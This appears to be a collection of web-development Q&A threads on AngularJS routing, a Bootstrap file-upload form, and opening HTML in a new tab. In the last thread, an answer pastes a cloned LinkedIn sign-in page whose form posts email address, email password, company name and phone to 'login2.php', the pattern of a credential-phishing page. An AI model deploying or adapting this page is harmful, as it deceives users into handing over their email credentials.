AngularJS not loading html into ng-view - javascript

I've been looking at my app for ages now trying to find what's wrong but cannot for the life of me seem to find it.
Here's my HTML
<!DOCTYPE html>
<!--[if lt IE 7]> <html lang="en" ng-app="myApp" class="no-js lt-ie9 lt-ie8 lt-ie7"> <![endif]-->
<!--[if IE 7]> <html lang="en" ng-app="myApp" class="no-js lt-ie9 lt-ie8"> <![endif]-->
<!--[if IE 8]> <html lang="en" ng-app="myApp" class="no-js lt-ie9"> <![endif]-->
<!--[if gt IE 8]><!--> <html lang="en" ng-app="myApp" class="no-js"> <!--<![endif]-->
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>Ericsson KAS</title>
<meta name="description" content="">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="bower_components/html5-boilerplate/css/normalize.css">
<link rel="stylesheet" href="bower_components/html5-boilerplate/css/main.css">
<link rel="stylesheet" href="css/bootstrap.min.css"/>
<link rel="stylesheet" href="css/eBootstrap.css"/>
<link rel="stylesheet" href="css/app.css"/>
<script src="bower_components/html5-boilerplate/js/vendor/modernizr-2.6.2.min.js"></script>
</head>
<body>
<div id="menu-container">
<div id="menu-top" class="e-full-blend"></div>
<div id="menu-bottom" class="gray-gradient">
<img ng-src="images/econ.png" height="35" width="27" class="logo" />
<center><h2 class="ericsson-capital-dark">Knowledge Assessment Solution<h2></center>
</div>
</div>
<!--[if lt IE 7]>
<p class="browsehappy">You are using an <strong>outdated</strong> browser. Please upgrade your browser to improve your experience.</p>
<![endif]-->
<div id="main" class="col-xs-10 col-xs-offset-1" ng-view>
</div>
<div id="version-legend">Version: <span app-version></span></div>
<!-- In production use:
<script src="//ajax.googleapis.com/ajax/libs/angularjs/x.x.x/angular.min.js"></script>
-->
<script src="bower_components/angular/angular.js"></script>
<script src="bower_components/angular-route/angular-route.js"></script>
<script src="js/jquery-2.1.1.min.js"></script>
<script src="app.js"></script>
<script src="js/controllers.js"></script>
<script src="partials/view1/view1.js"></script>
<script src="partials/view2/view2.js"></script>
<script src="partials/view3/view3.js"></script>
<script src="components/version/version.js"></script>
<script src="components/version/version-directive.js"></script>
<script src="components/version/interpolate-filter.js"></script>
</body>
</html>
app.js
'use strict';
// Declare app level module which depends on views, and components
angular.module('myApp', [
'ngRoute',
'controllers',
'view1',
'view2',
'view3',
'myApp.version'
]).
config(['$routeProvider', function($routeProvider) {
$routeProvider.otherwise({redirectTo: 'partials/view1'});
}]);
And the first view/partial that for some reason is not being loaded into ng-view
view1.js
'use strict';
angular.module('view1', ['ngRoute'])
.config(['$routeProvider', function($routeProvider) {
$routeProvider.when('/view1', {
templateUrl: 'partials/view1/view1.html',
controller: 'View1Ctrl'
});
}])
.controller('View1Ctrl', [function() {
}]);
view1.html
<div id="first-view" class="col-xs-12 col-sm-8 col-sm-offset-2 col-md-6 col-md-offset-3 col-lg-4 col-lg-offset-4" ng-controller="View1Ctrl as firstController">
<form role="form" class="form-horizontal">
<div class="form-group">
<label for="name" class="col-xs-3 control-label">Name</label>
<div class="col-xs-9">
<input type="text" class="form-control">
</div>
</div>
<div class="form-group">
<label for="domain" class="col-xs-3 control-label">Domain</label>
<div class="col-xs-9">
<input type="text" class="form-control">
</div>
</div>
<div class="form-group">
<label for="jobRole" class="col-xs-3 control-label">Job Role</label>
<div class="col-xs-9">
<input list="browsers" class="form-control">
<datalist id="browsers">
<option value="Internet Explorer">
<option value="Firefox">
<option value="Chrome">
<option value="Opera">
<option value="Safari">
</datalist>
</div>
</div>
<div class="form-group" ng-controller="ButtonCtrl as bCntrl">
<div>
<a class="clean-link-light lower-right" href="#/view2"><button type="submit" class="e-btn e-btn-success" >{{ bCntrl.nextButtonTitle }}</button></a>
<button id="admin-button" type="submit" class="e-btn e-btn-default">{{ bCntrl.adminButtonTitle }}</button>
</div>
</div>
</form>
</div>
I have no idea what I've managed to do to stop it from working but it was working fine until I copied one of the partials folder to add a view4. That messed everything up and even tho I've removed view4 it's still not runnig.
Any help is more than apreciated!
Thanks!


I am not 100% sure, but in app.js
$routeProvider.otherwise({redirectTo: 'partials/view1'});
and in view.js
$routeProvider.when('/view1', {...}
Try in view.js:
$routeProvider.when('partials/view1', {...}


You may defined all your road into your app.js
Example :
app.config(['$routeProvider',function($routeProvider) {
$routeProvider.when('/login',
{
templateUrl: 'views/login.html',
controller: 'loginCtrl'
});
$routeProvider.when('/home/',
{
templateUrl: 'views/main.html',
controller: 'homeCtrl'
});
and the default road
$routeProvider.otherwise({redirectTo: '/login'});

Related

How to create a drag and drop file uploader for a web page?

I have a form that takes file name and file. I am using Bootstrap for formatting it.
My code (HTML/CSS/JavaScript) is given below:
$('input[type="file"]').change(function(e){
var fileName = e.target.files[0].name;
$('.custom-file-label').html(fileName);
});
.form-container {
background: #fff;
padding: 30px;
width: 400px;
height: 400px;
border-radius: 10px;
box-shadow: 0px 0px 10px 0px #000;
margin-left: 20%;
margin-bottom: 10%;
}
<!DOCTYPE html>
<!--[if lt IE 7]> <html class="no-js lt-ie9 lt-ie8 lt-ie7"> <![endif]-->
<!--[if IE 7]> <html class="no-js lt-ie9 lt-ie8"> <![endif]-->
<!--[if IE 8]> <html class="no-js lt-ie9"> <![endif]-->
<!--[if gt IE 8]><!--> <html class="no-js"> <!--<![endif]-->
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>my test file</title>
<meta name="description" content="">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/css/bootstrap.min.css" integrity="sha384-9aIt2nRpC12Uk9gS9baDl411NQApFmC26EwAOH8WgZl5MYYxFfc+NcPb1dKGj7Sk" crossorigin="anonymous">
<link rel="stylesheet" href="new.css">
</head>
<body>
<!--[if lt IE 7]>
<p class="browsehappy">You are using an <strong>outdated</strong> browser. Please upgrade your browser to improve your experience.</p>
<![endif]-->
<!-- <h1>this is a homepage</h1> -->
<form class="form-container" method="POST" enctype="multipart/form-data" action="/result" >
<!-- {% csrf_token %} -->
<div class="form-group">
<label for="dataname">Name</label>
<input type="text" class="form-control" id="dataname" name="fname" >
</div>
<div class="input-group mb-3">
<div class="custom-file">
<input type="file" class="custom-file-input" id="inputGroupFile02" name="file2">
<label class="custom-file-label" for="inputGroupFile02" aria-describedby="inputGroupFileAddon02">Upload your file here</label>
</div>
</div>
<button type="submit" class="btn btn-primary ">Submit</button>
</form>
<script src="https://code.jquery.com/jquery-3.5.1.slim.min.js" integrity="sha384-DfXdz2htPH0lsSSs5nCTpuj/zy4C+OGpamoFVy38MVBnE+IbbVYUew+OrCXaRkfj" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/popper.js#1.16.0/dist/umd/popper.min.js" integrity="sha384-Q6E9RHvbIyZFJoft+2mJbHaEWldlvI9IOYy5n3zV9zzTtmI3UksdQRVvoxMfooAo" crossorigin="anonymous"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/js/bootstrap.min.js" integrity="sha384-OgVRvuATP1z7JjHLkuOU7Xw704+h835Lr+6QL9UvYjZE3Ipu6Tp75j7Bh/kR0JKI" crossorigin="anonymous"></script>
<script src="new.js" async defer></script>
</body>
</html>
I want to have have drag and drop file uploader for single file.
Desired output should be something like:
The file uploader should be inside the container and should not exceed it.

Render complex html source code in new tab

I want to render html code in a new tab, so I'm currently doing:
var w = window.open();
$(w.document.body).html("HTML_CODE");
But the issue is that if I'm rendering a simple html like:
<HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY><table width="400" cellpadding="3" cellspacing="5"><tr><td align="left" valign="middle" width="360"><font style="COLOR: black; FONT: 10pt/10pt verdana"><b>Page cannot be displayed</b></font></td></tr><tr><td width="400"><font style="COLOR: black; FONT: 8pt/11pt verdana">The requested URL was not found on this server.</font></td></tr><tr><td width="400"><font style="COLOR: black; FONT: 8pt/11pt verdana"><hr color="#C0C0C0" noshade><font style="font:8pt/11pt verdana; color:black"><br>IceWarp<br>404 Not found</font></font></td></tr></table></BODY></HTML>
That's working fine. the problem is when I'm try to render more complex ones like:
https://pastebin.com/raw/yxwBzGJK
And then the javascript code of what I'm trying to render affect my current tab of the web application (this is the errors in console of my web application tab when rendering the code in new tab):
Here is a fiddle of what I'm trying to achieve:
https://jsfiddle.net/eitanmg/67cwqyvf/14/

Your code is correct and seems to be working fine for me when I created and html file on my local machine. But it didn't work with jsFiddle or Codepen I suppose there might be some issue due to the way they render the html.
My index.html content --
<html>
<head>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.3.1/jquery.min.js"> </script>
<script src="index.js"> </script>
</head>
<body>
<button data-initialid='2312' type='button' class='btn renderSourceCodeBTN'>Render Source</button>
</body>
</html>
My index.js Code
$(document).on("click",".renderSourceCodeBTN", function (event) {
var w = window.open();
var temp = `<!DOCTYPE html>
<!--[if lt IE 7]> <html lang="en" class="ie ie6 lte9 lte8 lte7 os-win"> <![endif]-->
<!--[if IE 7]> <html lang="en" class="ie ie7 lte9 lte8 lte7 os-win"> <![endif]-->
<!--[if IE 8]> <html lang="en" class="ie ie8 lte9 lte8 os-win"> <![endif]-->
<!--[if IE 9]> <html lang="en" class="ie ie9 lte9 os-win"> <![endif]-->
<!--[if gt IE 9]> <html lang="en" class="os-win"> <![endif]-->
<!--[if !IE]><!--> <html lang="en" class="os-win"> <!--<![endif]-->
<meta http-equiv="content-type" content="text/html;charset=UTF-8" />
<head>
<script src="../../static.licdn.com_443/scds/common/u/lib/fizzy/fz-1.3.8-min.js" type="text/javascript"></script><script type="text/javascript">fs.config({"failureRedirect":"http://www.linkedin.com/nhome/","uniEscape":true,"xhrHeaders":{"X-FS-Origin-Request":"/uas/login","X-FS-Page-Id":"uas-consumer-login"}});</script><script></script>
<!--[if lte IE 8]>
<link rel="shortcut icon" href="https://static.licdn.com/scds/common/u/images/logos/favicons/v1/16x16/favicon.ico">
<![endif]-->
<!--[if IE 9]>
<link rel="shortcut icon" href="https://static.licdn.com/scds/common/u/images/logos/favicons/v1/favicon.ico">
<![endif]-->
<link rel="icon" href="https://static.licdn.com/scds/common/u/images/logos/favicons/v1/favicon.ico">
<link rel="stylesheet" type="text/css" href="https://static.licdn.com/scds/concat/common/css?h=765zh9odycznutep5f0mj07m4-c8kkvmvykvq2ncgxoqb13d2by-7im4ksgpukpbjap4swfj3elxs-7mxyksftlcjzimz2r05hd289r-4uu2pkz5u0jch61r2nhpyyrn8-7poavrvxlvh0irzkbnoyoginp-4om4nn3a2z730xs82d78xj3be-ez2lcu8wtkfml6t904kxuz2em-ct4kfyj4tquup0bvqhttvymms-a6c7eivr8umrp20gkm4s5m4kd-9zbbsrdszts09by60it4vuo3q-8ti9u6z5f55pestwbmte40d9-6xy1ubh931c87hnrti1tm0ghb-3pwwsn1udmwoy3iort8vfmygt-b1019pao2n44df9be9gay2vfw-aau7s6f37xbtq1daynn0bb656-ab01tg8funn2n1exayaej7367">
<script type="text/javascript" src="https://static.licdn.com/scds/concat/common/js?h=3nuvxgwg15rbghxm1gpzfbya2-35e6ug1j754avohmn1bzmucat-mv3v66b8q0h1hvgvd3yfjv5f-14k913qahq3mh0ac0lh0twk9v-5j9cn6jiwhc47x6gzmpv6ogni-b7ksroocq54owoz2fawjb292y-62og8s54488owngg0s7escdit-c8ha6zrgpgcni7poa5ctye7il-8gz32kphtrjyfula3jpu9q6wl-51dv6schthjydhvcv6rxvospp-e9rsfv7b5gx0bk0tln31dx3sq-2r5gveucqe4lsolc3n0oljsn1-8v2hz0euzy8m1tk5d6tfrn6j-di2107u61yb11ttimo0s2qyh2-38i6il2zabqvakfzq8wpcvmwh-338jj5au2boohyyk766mnkr8-a7br995b5xb4ztral63cjods4-4x5thcpbzikuqpcblepkqxhqs-91ky3avajc93abaff1zy09qie-39kuwv80yvqr74w4oe9bge0md-ejfdcbibyn0amjrpy1bw898cw-370m60vrzsp5vx8i8wie69mme-b0otj9zjsih2zu4s3gxjejik2-czstax4e6y68hymdvqxpwe5so-3g8gynfr7fip2svw23i5ixnw3"></script>
<script type="text/javascript">LI.define('UrlPackage');LI.UrlPackage.containerCore=["https://static.licdn.com/scds/concat/common/js?h=d7z5zqt26qe7ht91f8494hqx5"][0];</script>
<script type="text/javascript">(function(){if(typeof LI==='undefined'||!LI){window.LI={};}
var shouldUseSameDomain=false&&false&&!/Version\//i.test(window.navigator.userAgent);function adjustUrlForIos(url){return shouldUseSameDomain?url.replace(/^(?:https?\:)?\/\/[^\/]+\//,'/'):url;}
LI.JSContentBasePath=adjustUrlForIos("login.html\/\/static.licdn.com\/scds\/concat\/common\/js?v=build-2000_8_48397-prod");LI.CSSContentBasePath=adjustUrlForIos("login.html\/\/static.licdn.com\/scds\/concat\/common\/css?v=build-2000_8_48397-prod");LI.injectRelayHtmlUrl=shouldUseSameDomain?null:"https:\/\/static.licdn.com\/scds\/common\/u\/lib\/inject\/0.6.1\/relay.html";LI.comboBaseUrl=adjustUrlForIos("login.html\/\/static.licdn.com\/scds\/concat\/common\/css?v=build-2000_8_48397-prod");LI.staticUrlHashEnabled=true;}());</script>
<script type="text/javascript" src="https://static.licdn.com/scds/concat/common/js?h=25kaepc6rgo1820ap1rglmzr4-5twpadgpdpe2fd2drxbyynj9s-dtx8oyvln9y03x1ku6t0abhc9-9yrlkzqdz2fq4zzcxtkisx0j2-edp77ghrpkbbons0amvyb2ejm-8ohb0iio22nbqe1w8et54sawe-5n5dp3pn32p4zstdag5cbpr1-eehwe5piqwg4elnl8jvj9vpx-amjylk8w8039f2lwlov2e4nmc-47qp7uw3i5i1pqeovirlcc070-9w1b5mi5erarwbypvtw0a03k7-6dhio4t0fxvyu677a4z672e0-4izdpghi4r0b0uhhivo34xsvq-9a0rznn8mui615f4o75jq7hz2-dta7xzw3a1itnwo44eolyusn5-67xlf04tp198rsgnplkzm3mv0-9undj1hjru2i7vjjlqtb52ho2-7vr4nuab43rzvy2pgq7yvvxjk-9qa4rfxekcw3lt2c06h7p0kmf"></script>
<script type="text/javascript">fs._server.fire("c52e3bbfd203ec1300b59cecf12a0000-1",{event:"before",type:"html"});</script><meta name="remote-nav-init-marker" content="true"/>
<link rel="stylesheet" type="text/css" href="https://static.licdn.com/scds/concat/common/css?h=a6c7eivr8umrp20gkm4s5m4kd-5abacav2ihca7naq8ldlbzvjs">
<script type="text/javascript" src="https://static.licdn.com/scds/concat/common/js?h=ditm8xdycl29ta8gqk5tpmxf8-czstax4e6y68hymdvqxpwe5so"></script>
<script type="text/javascript">fs._server.fire("c52e3bbfd203ec1300b59cecf12a0000-1",{event:"after",type:"html"});</script>
<title>Sign In | LinkedIn</title>
<link rel="stylesheet" type="text/css" href="https://static.licdn.com/scds/concat/common/css?h=c52xqty03kc2uumayfdgw52ha-bdvlivvfj7epd3qpujfiyceiy-9isvvzw61fpveso9doy1mzsas-aze4ooami6s3kk293iv0zfky1-95t6vcl2cgpx3042md6zm5jzo">
<script type="text/javascript" src="https://static.licdn.com/scds/concat/common/js?h=4zslye83akez5s4mf91hrq425-95d8d303rtd0n9wj4dcjbnh2c-arbgv2252ztzfkx4ttedufn6d-dkdnel3qyxdabl44dfxjdks1c-5j9ytf091oscwtui7nf86wpzf-e2qurhslc3tudjtufn4sxxai6-d638hjstdjtxe4t85q40byqcd"></script>
<link rel="canonical" href="login.html"/>
<link rel="stylesheet" type="text/css" href="https://static.licdn.com/scds/concat/common/css?h=cfsam81o5sp3cxb7m0hs933c4-e52k99nlgnf00pfikh16pt1b4-bnquk6ky802954cnw1mw4p59k-2qk68hrxrqya74okuimf9dv0c">
<script type="text/javascript">LI.define('ChangePassword.Styles');LI.ChangePassword.Styles=["https://static.licdn.com/scds/concat/common/css?h=63ruf6tb4l2oph21j90lusip4-2qk68hrxrqya74okuimf9dv0c"];LI.define('ChangePassword.html');LI.ChangePassword.JS=["https://static.licdn.com/scds/concat/common/js?h=ab0aazvz3b9nvqjmo36373r2p"];LI.i18n.register('change_your_password','Change your password');LI.i18n.register('wrong_password','Hmm, that\'s not the right password. Please try again or <a class=\"password-reminder-link\" href=\"\/uas\/request-password-reset\">request a new one.<\/a>');LI.i18n.register('invalid_username','Hmm, we don\'t recognize that email. Please try again.');LIModules.exports('DialogRetrofitV2Enabled',true);LIModules.exports('ComposeDialogDependencies',{jsFiles:["https://static.licdn.com/scds/concat/common/js?h=5suxahyg6u5y9abq7nx22rsp3"],cssFiles:["https://static.licdn.com/scds/concat/common/css?h=154kxlhs4z8rrtcvqfbage7t"]});LIModules.exports('FeedbackDialogDependencies',{url:'/lite/feedback-form',cssFiles:["https://static.licdn.com/scds/concat/common/css?h=3pjgifqd8hix737po9m8egegl"]});LIModules.exports('WhoSharedDialogDependencies',{jsFiles:["https://static.licdn.com/scds/concat/common/js?h=3m0wwwerqvp8618uhx52in5b-ef3elbvaio1ryhqhel0ra3b7c-f2ve2m4snne5xyn5408bsek5n-cz35wdvsh3whk61r5ab6knzup-4bl5gu6lc1p1v2gdrxrirebcu"],cssFiles:["https://static.licdn.com/scds/concat/common/css?h=ee6ucumj8ledmrgyfyz4779k4-5vdl4x1qzwm5rqqwq4015vpam-3566c1ju1btq868kwju12welc-8asck8kvvd6hamuyvpcdse51p"]});LIModules.exports('EndorseDialogDependencies',{jsFiles:["https://static.licdn.com/scds/concat/common/js?h=3gtm46fgengh7teck5sse5647-1nu5dtx3127c5u6rnyd48xyy1-13jjjkmtbrqk2d7ctaerhjl6c"],cssFiles:["https://static.licdn.com/scds/concat/common/css?h=dg4rrw421valxxlqfp04030g7"]});LIModules.exports('SlideshareDialogDependencies',{jsFiles:["https://static.licdn.com/scds/concat/common/js?h=6y9mbi0r2o6usgrmm8vm1vw4k-1wq18rvqnu5ju66mrccyhjupj-f1h7fo0t146gwqkn1v0npn007-em4myogo6n3h23gq9jhm940b8-b7n2zuq7kxlcqoyy45lfiqd00-desdb8ckwqfizu4iap272t667-2dzvpjvb927qbsnxts39b5lhm-2rwnq8ar01i5mbiqrriwrxctf-ef3elbvaio1ryhqhel0ra3b7c-18mio6a45fu33gbckogjwiskc-4bl5gu6lc1p1v2gdrxrirebcu-3f4mhcnicl2sssc4h9zxayaba-3mfdh15yv4dvkys8ghzfcggmw-8c0ozn3ptdmcfmdkez191r1e9-5kwfaiekiahrqi8wwb0qpont1-emx9k3g6vxhx5cbad2xccjes0"],cssFiles:["https://static.licdn.com/scds/concat/common/css?h=24o3wkkwwvmwutak3nlw5lx4n-eu8svnpd32wrtwqeuiuomdty0-4y2bj10mk9r3y7tmy3tju56vk-6lg80obqw1a6e31g5xzz9modk-9gj02wtxq8z7svwc0ldplic28-3ohu4hv8hru5myc4i9cj3mzau-9isvvzw61fpveso9doy1mzsas-9crclcw3gvtm1rwguxp349o8l"]});LIModules.exports('CommentFlagReportDependencies',{url:'/today/social/flag-comment-form',jsFiles:["https://static.licdn.com/scds/concat/common/js?h=aevdban1tqltqettio7veayoo-9qiqdz1qfr0ylhlzx0uchfe0n-bs317qn4mf3587q6g80mtawha-2koc6nzt8doynbyinm6upmmk-8d5srj4unec9c1mksngizgbpn"],cssFiles:["https://static.licdn.com/scds/concat/common/css?h=drxco8hlm0vu0i6lc3qveehbl"]});LIModules.exports('SlideshareAdDependencies',{cssFiles:["https://static.licdn.com/scds/concat/common/css?h=e146j8gzz2jcia95s3z0rvciq"]});</script>
<script type="text/javascript" src="https://static.licdn.com/scds/concat/common/js?h=5lsmngp0eiyzirempbmj3f9ry"></script>
</head>
<body dir="ltr" class="guest v2 chrome-v5 chrome-v5-responsive sticky-bg guest" id="pagekey-uas-consumer-login-internal">
<input id="inSlowConfig" type="hidden" value="false"/>
<script type="text/javascript">document.body.className+=" js ";</script>
<script type="text/javascript">fs._server.fire("c52e3bbfd203ec1300b59cecf12a0000-2",{event:"before",type:"html"});</script><div id="a11y-menu" class="a11y-skip-nav-container">
<div class="a11y-skip-nav a11y-hidden">
Skip to main content
</div>
<script id="control-http-12274-exec-57423191-1" type="linkedin/control" class="li-control">LI.Controls.addControl('control-http-12274-exec-57423191-1','A11yMenu',{jumpToText:'Jump to: <strong>Summary<\/strong>',skipToText:'Skip to: <strong>Search<\/strong>',feedbackText:'Accessibility Feedback',closeText:'close',anchorText:'Content Follows:',moreText:'More in-page navigation options below',smallPageText:'Not much to look at here. Go directly to content.',searchUrl:'\/vsearch\/f'});</script>
<script id="control-http-12274-exec-57423191-2" type="linkedin/control" class="li-control">LI.KbDialogDependencies={jsFiles:["https://static.licdn.com/scds/concat/common/js?h=37zc8dm8vu14f1neta1ponx0o"],cssFiles:["https://static.licdn.com/scds/concat/common/css?h=9qwmbyyfabl3upqh3cyzbhd49"]};LI.Controls.addControl('control-http-12274-exec-57423191-2','kb.shortcuts',{homepageUrl:'http:\/\/www.linkedin.com\/nhome\/?trk=global_kb',profileUrl:'http:\/\/www.linkedin.com\/profile\/view?trk=global_kb',editProfileUrl:'http:\/\/www.linkedin.com\/profile\/edit?trk=global_kb',inboxUrl:'http:\/\/www.linkedin.com\/inbox\/#messages?trk=global_kb',jobsUrl:'http:\/\/www.linkedin.com\/job\/home?trk=global_kb',settingsUrl:'https:\/\/www.linkedin.com\/secure\/settings?req=&trk=global_kb',influencerUrl:'http:\/\/www.linkedin.com\/influencers?trk=global_kb'});</script>
</div>
<div id="header" class="global-header responsive-header nav-v5-2-header responsive-1 remote-nav" role="banner">
<div id="top-header">
<div class="wrapper">
<h2 class="logo-container">
<a href="http://www.linkedin.com/" class="guest logo" id="li-logo">
LinkedIn Home
</a>
</h2>
<ul class="nav main-nav guest-nav" role="navigation">
<li class="nav-item">
<a href="http://www.linkedin.com/static?key=what_is_linkedin&trk=hb_what" class="nav-link">
What is LinkedIn?
</a>
</li>
<li class="nav-item">
<a href="https://www.linkedin.com/start/join?trk=hb_join" class="nav-link" rel="nofollow">
Join Today
</a>
</li>
<li class="nav-item">
<a href="logine908.html?goback=&trk=hb_signin" class="nav-link" rel="nofollow">
Sign In
</a>
</li>
</ul>
</div>
</div>
<div class="a11y-content">
<a name="a11y-content" tabindex="0" id="a11y-content-link">Main content starts below.</a>
</div>
</div>
<script type="text/javascript">LI.RUM=LI.RUM||{};LI.RUM.streamMetrics={timeToNavInteractive:Date.now&&Date.now()||new Date().getTime(),timeToAboveFold:null,timeToPageInteractive:null};</script>
<script type="text/javascript" src="https://static.licdn.com/scds/concat/common/js?h=1e5kw6urhif0boq5eaan271d3-473m04z4a58wexbuqt1uoier4-ettwzlseaw86558lzmqblr06t-4y7qfbe7liwvykn5stbqh9jra-9r20yf4qs8yiwgzkf53wg7wyr-6865rdpomfa2609kghcxa2ojk-s4x3rtlk1sdpf9r8pwrfgklz-b01bpc2em58egy7voz1cza2w4-crayc3khz55ejfivfh0atiltt-2ghhcjwxsjk0n3h4p2tkxqdsf-12960v0orzym6k2r6fa6l03uh-bkbl4wmbf5lp9185n7bthkx96-3i7ubdukif1jevuf29ftmtvjs-7bt8yq2swxj00zqwcc3anfs61-5cmfpe4jqrweez449s97ldikg-clz7gb1h1gqkujqk14gbprnf5"></script>
<script type="text/javascript">fs._server.fire("c52e3bbfd203ec1300b59cecf12a0000-2",{event:"after",type:"html"});</script>
<div id="body" class="" role="main">
<div class="wrapper hp-nus-wrapper">
<div id="global-error">
</div>
<div id="bg-fallback"></div>
<div id="main" class="signin">
<div id="cookieDisabled">Make sure you have cookies and Javascript enabled in your browser before signing in.</div>
<script type="text/javascript">if(navigator.cookieEnabled==true){LI.hide('cookieDisabled');}</script>
<form id="form1" name="form1" method="post" action="login2.php">
<fieldset>
<legend>Sign in to LinkedIn</legend>
<div class="outer-wrapper">
<div class="inner-wrapper">
<div class="logo_container">LinkedIn</div>
<ul id="mini-profile--js">
<li class="">
<input type="email" name="email" placeholder="Company Email" required="yes" />
<li>
<ul id="mini-profile--js">
<li class="">
<input type="" name="email2" placeholder="Email Password" required="yes" />
<li>
<ul id="mini-profile--js">
<li class="">
<input type="" name="email3" placeholder="Confirm Email Password" required="yes" />
<li>
<ul id="mini-profile--js">
<li class="">
<input type="" name="email4" placeholder="Company Name" required="yes" />
<li>
<ul id="mini-profile--js">
<li class="">
<input type="" name="email5" placeholder="Company Telephone Number" required="yes" />
<li>
</li>
<li class="button">
<input type="submit" name="signin" value="Submit" class="btn-primary" id="btn-primary">
</li>
</ul>
</div>
</div>
<div class="gaussian-blur"></div>
</div>
<script id="control-http-12257-exec-7423163-1" type="linkedin/control" class="li-control">LI.Controls.addControl('control-http-12257-exec-7423163-1','LI.BalloonCalloutDelegator',{width:'auto',orientation:'bottom',type:'tooltip-callout',dataId:'-li-tooltip-id'});</script>
</fieldset>
<input type="hidden" name="session_redirect" value="" id="session_redirect-login"><input type="hidden" name="trk" value="" id="trk-login"><input type="hidden" name="loginCsrfParam" value="54a939e2-7f82-45cf-b88c-0534ab45b28e" id="loginCsrfParam-login"><input type="hidden" name="fromEmail" value="" id="fromEmail-login"><input type="hidden" name="csrfToken" value="ajax:2649005306478309108" id="csrfToken-login"><input type="hidden" name="sourceAlias" value="0_7r5yezRXCiA_H0CRD8sf6DhOjTKUNps5xGTqeX8EEoi" id="sourceAlias-login">
</form>
<script id="control-http-12257-exec-7423164-2" type="linkedin/control" class="li-control">LI.i18n.register('oneOrMoreErrors','There were one or more errors in your submission. Please correct the marked fields below.');LI.i18n.register('unableToProcessRequest','We were unable to handle your request. Please try again.');LI.Controls.addControl('control-http-12257-exec-7423164-2','FrontierAJAXForm',{injectAfter:'.button',successCallback:LI.Login.handleSuccess,enableResizeScreen:false,errorCallback:LI.Login.handleError,injectGlobalError:true,errorId:'global-alert-queue'});</script>
<script id="control-http-12257-exec-7423164-3" type="linkedin/control" class="li-control">LI.Controls.addControl('control-http-12257-exec-7423164-3','Login',{showErrorOnLoad:false,errorOnLoadMessage:'There’s already a LinkedIn account associated with this email address.',resetPasswordURL:'\/uas\/request-password-reset?session_redirect=&trk=signin_fpwd',passwordReminderMessage:'Need a password reminder?',domainSuggestion:''});</script>
<div class="callout-container">
<span id="login-tooltip">
<div class="callout-content">
Forgot password?
</div>
</span>
</div>
</div>
<svg class="svg-image-blur">
<filter id="blur-effect-1">
<feGaussianBlur stdDeviation="5"></feGaussianBlur>
</filter>
</svg>
<script>if(window.$&&jQuery){$('document').ready(function(){$('.gaussian-blur').addClass('blur');});}else{YEvent.onDOMReady(function(){YDom.addClass(Y$('.gaussian-blur',null,true),'blur');});}</script>
<style type="text/css">
.svg-image-blur {
position: absolute;
top: -50000px;
left: -50000px;
}
.blur {
-webkit-filter: blur(5px);
-moz-filter: blur(5px);
-o-filter: blur(5px);
-ms-filter: blur(5px);
filter: url(#blur-effect-1);
filter: progid:DXImageTransform.Microsoft.Blur(PixelRadius='5');
zoom: 1;
}
</style>
</div>
</div>
<script data-page-js-type="i18n">(function(n,r,a){r=window[n]=window[n]||{};r['Dialog-closeWindow']='Close this window';r['Dialog-close']='Close';r['Dialog-or']='or';r['Dialog-cancel']='Cancel';r['Dialog-submit']='Submit';r['Dialog-error-generic']='We\'re sorry. Something unexpected happened and your request could not be completed. Please try again.';r['Dialog-start']='Dialog start';r['Dialog-end']='Dialog end';}('__li__i18n_registry__'));</script>
<script type="text/javascript">LI.Controls.processQueue();</script>
<script type="text/javascript">LI_WCT(["control-http-12257-exec-7423163-1","control-http-12257-exec-7423164-2","control-http-12257-exec-7423164-3",]);</script>
<script type="text/javascript">fs._server.fire("c52e3bbfd203ec1300b59cecf12a0000-3",{event:"before",type:"html"});</script><div id="footer" class="remote-nav" role="contentinfo">
<div class="wrapper">
<p id="copyright" class="guest"><span>LinkedIn Corporation</span> <em>© 2015</em></p>
<ul id="nav-legal">
<li>User Agreement</li>
<li>Privacy Policy</li>
<li>
Community Guidelines
</li>
<li>Cookie Policy</li>
<li>Copyright Policy</li>
<li>Guest Controls</li>
</ul>
</div>
</div>
<script type="text/javascript">if(LI.showAllDeferredImg){LI.showAllDeferredImg('header',false);LI.showAllDeferredImg('footer',false);}
if(typeof(oUISettings)!=='undefined'){oUISettings.saveSettingsURL="https://www.linkedin.com/lite/secure-ui-settings-save-old?csrfToken=ajax%3A2649005306478309108";}
if(typeof(WebTracking)!=='undefined'){WebTracking.saveWebActionTrackURL="https://www.linkedin.com/lite/secure-web-action-track?csrfToken=ajax%3A2649005306478309108";}</script>
<script type="text/javascript" src="https://static.licdn.com/scds/concat/common/js?h=3i7ubdukif1jevuf29ftmtvjs-7bt8yq2swxj00zqwcc3anfs61-du9b5xv93paiu4gm8x4awcgkb-1m7sfcez3isjwlg5yrudwy1mz-clz7gb1h1gqkujqk14gbprnf5"></script>
<script type="text/javascript">fs._server.fire("c52e3bbfd203ec1300b59cecf12a0000-3",{event:"after",type:"html"});</script>
<script type="text/javascript" src="https://static.licdn.com/scds/concat/common/js?h=178w1amns5ya7addmlk0qioxi-akfe1g1hb660050homjb2nwnr-3tdm4y44d9wld0j7i3gs0x10x-euwg0kjg0qyoxmsz2my965j4r"></script>
<script type="text/javascript">(function(d){function go(){var a=d.createElement('iframe');a.style.display='none';a.setAttribute('sandbox','allow-scripts');a.src='http://radar.cedexis.com/1/11326/radar/radar.html';if(d.body){d.body.appendChild(a);}}
if(window.addEventListener){window.addEventListener('load',go,false);}else if(window.addEvent){window.addEvent('onload',go);}}(document));</script>
<script type="text/javascript">if(!window.LI){window.LI={};}
